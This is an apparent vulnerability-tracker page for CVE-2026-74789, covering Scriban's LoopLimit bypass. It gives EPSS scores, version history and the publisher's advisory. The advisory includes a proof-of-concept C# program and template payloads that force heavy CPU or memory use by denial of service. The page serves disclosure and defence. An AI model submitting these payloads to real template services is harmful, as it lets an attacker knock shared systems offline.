CVE-2026-74789
No CISA KEV listing is included in this saved record. Exploitation may still have occurred.
FIRST EPSS: 0.60 % · percentile 49.30 % · scored 19 Nov 2026.
Saved 19 Nov 2026 16:46:59 UTC · View this risk record (JSON)
No access to your tenant or devices. Every item links to its source. What this means
Scriban before 7.0.0 (affected <= 6.6.0) applies its LoopLimit constraint only to script loop statements and not to expensive iteration performed inside built-in operators and functions. As a result, a single expression such as {{ 1..1000000 | array.size }} — or a memory-amplification expression such as {{ 'A' * 200000000 }} — can force large CPU or memory consumption even when LoopLimit is configured to a very small value, resulting in denial of service. Applications that render attacker-controlled templates and rely on LoopLimit for safe execution are affected.
Read the publisher's advisoryScriban before 7.0.0 (affected <= 6.6.0) applies its LoopLimit constraint only to script loop statements and not to expensive iteration performed inside built-in operators and functions. As a result, a single expression such as {{ 1..1000000 | array.size }} — or a memory-amplification expression such as {{ 'A' * 200000000 }} — can force large CPU or memory consumption even when LoopLimit is configured to a very small value, resulting in denial of service. Applications that render attacker-controlled templates and rely on LoopLimit for safe execution are affected.
Read the publisher's advisoryScriban before 7.0.0 (affected <= 6.6.0) applies its LoopLimit constraint only to script loop statements and not to expensive iteration performed inside built-in operators and functions. As a result, a single expression such as {{ 1..1000000 | array.size }} — or a memory-amplification expression such as {{ 'A' * 200000000 }} — can force large CPU or memory consumption even when LoopLimit is configured to a very small value, resulting in denial of service. Applications that render attacker-controlled templates and rely on LoopLimit for safe execution are affected.
Read the publisher's advisory## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration. - `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables. - `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748. - `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`. This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`. There is also a related memory-amplification path in `string * int`: - `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc3 cd scriban-poc3 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; var template = Template.Parse("{{ 1..1000000 | array.size }}"); var context = new TemplateContext { LoopLimit = 1 }; Console.WriteLine(template.Render(context)); ``` ### Run ```bash dotnet run ``` ### Actual Output ``` 1000000 ``` ### Expected Behavior A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work. ### Optional Stronger Variant (Memory Amplification) ```csharp using Scriban; var template = Template.Parse("{{ 'A' * 200000000 }}"); var context = new TemplateContext { LoopLimit = 1 }; template.Render(context); ``` This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work. --- ## Impact This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression. The issue impacts: - Template-as-a-service systems - CMS or email rendering systems that accept user templates - Any multi-tenant use of Scriban with untrusted template content
Read the publisher's advisoryCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No CISA KEV listing is included in this saved record. Exploitation may still have occurred.
FIRST EPSS: 0.60 % · percentile 49.30 % · scored 19 Nov 2026.
Saved 19 Nov 2026 16:46:59 UTC · View this risk record (JSON)
Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).
CVE-2026-74789 · 19 Nov 2026 16:46:59 UTC
CVE-2026-74789 · 18 Nov 2026 15:46:44 UTC
CVE-2026-74789 · 17 Nov 2026 15:26:11 UTC
CVE-2026-74789 · 17 Nov 2026 02:39:16 UTC
CVE-2026-74789 · 15 Nov 2026 14:45:34 UTC
CVE-2026-74789 · 14 Nov 2026 16:37:01 UTC
CVE-2026-74789 · 13 Nov 2026 19:59:34 UTC
CVE-2026-74789 · 12 Nov 2026 18:18:51 UTC
CVE-2026-74789 · 10 Nov 2026 20:24:10 UTC
CVE-2026-74789 · 09 Nov 2026 21:04:24 UTC
CVE-2026-74789 · 08 Nov 2026 15:12:21 UTC
CVE-2026-74789 · 07 Nov 2026 16:07:52 UTC
CVE-2026-74789 · 06 Nov 2026 19:10:17 UTC
CVE-2026-74789 · 05 Nov 2026 22:49:22 UTC
CVE-2026-74789 · 05 Nov 2026 02:54:06 UTC
CVE-2026-74789 · 03 Nov 2026 16:59:18 UTC
CVE-2026-74789 · 02 Nov 2026 23:59:04 UTC
CVE-2026-74789 · 01 Nov 2026 23:58:58 UTC
CVE-2026-74789 · 01 Nov 2026 03:04:52 UTC
CVE-2026-74789 · 31 Oct 2026 01:52:30 UTC
CVE-2026-74789 · 29 Oct 2026 18:29:26 UTC
CVE-2026-74789 · 28 Oct 2026 19:55:37 UTC
CVE-2026-74789 · 27 Oct 2026 15:46:19 UTC
CVE-2026-74789 · 27 Oct 2026 00:23:05 UTC
CVE-2026-74789 · 25 Oct 2026 15:18:41 UTC
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
euvd · EUVD-2026-59955 · Published
nvd · CVE-2026-74789 · Published
osv · GHSA-c875-h985-hvrc · Published
cve-program · CVE-2026-74789 · Published